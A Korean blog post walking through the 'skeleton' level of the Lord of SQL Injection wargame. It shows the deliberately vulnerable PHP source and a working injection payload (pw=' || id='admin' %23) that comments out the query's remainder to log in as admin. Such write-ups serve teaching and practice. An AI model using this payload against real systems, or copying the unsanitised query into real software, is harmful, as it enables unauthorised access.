본문 바로가기
war game/웹 워게임(los)

load of sql injection skeleton

by 강깅꽁 2016. 9. 13.
반응형

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve("skeleton"); 
  
highlight_file(__FILE__); 
?>


소스코드 분석

음... 딱히 어려운 부분이 없다.

and 1=0이것을 주석으로 하면 어려울 것 없어 보인다.


풀이

페이로드를 pw=' || id='admin' %23 으로 하면된다.

이렇게 보내면

id='guest' and pw='' || id='admin' # ' and 1=0";

이렇게 완성된다 즉 id='guest' and pw=''는 거짓 또는 id='admin'은 참이다 #는 주석처리 해주기 떄문에 뒤에는 주석부분이 된다 따라서 이 구문은 참이기 떄문에 admin이 된다.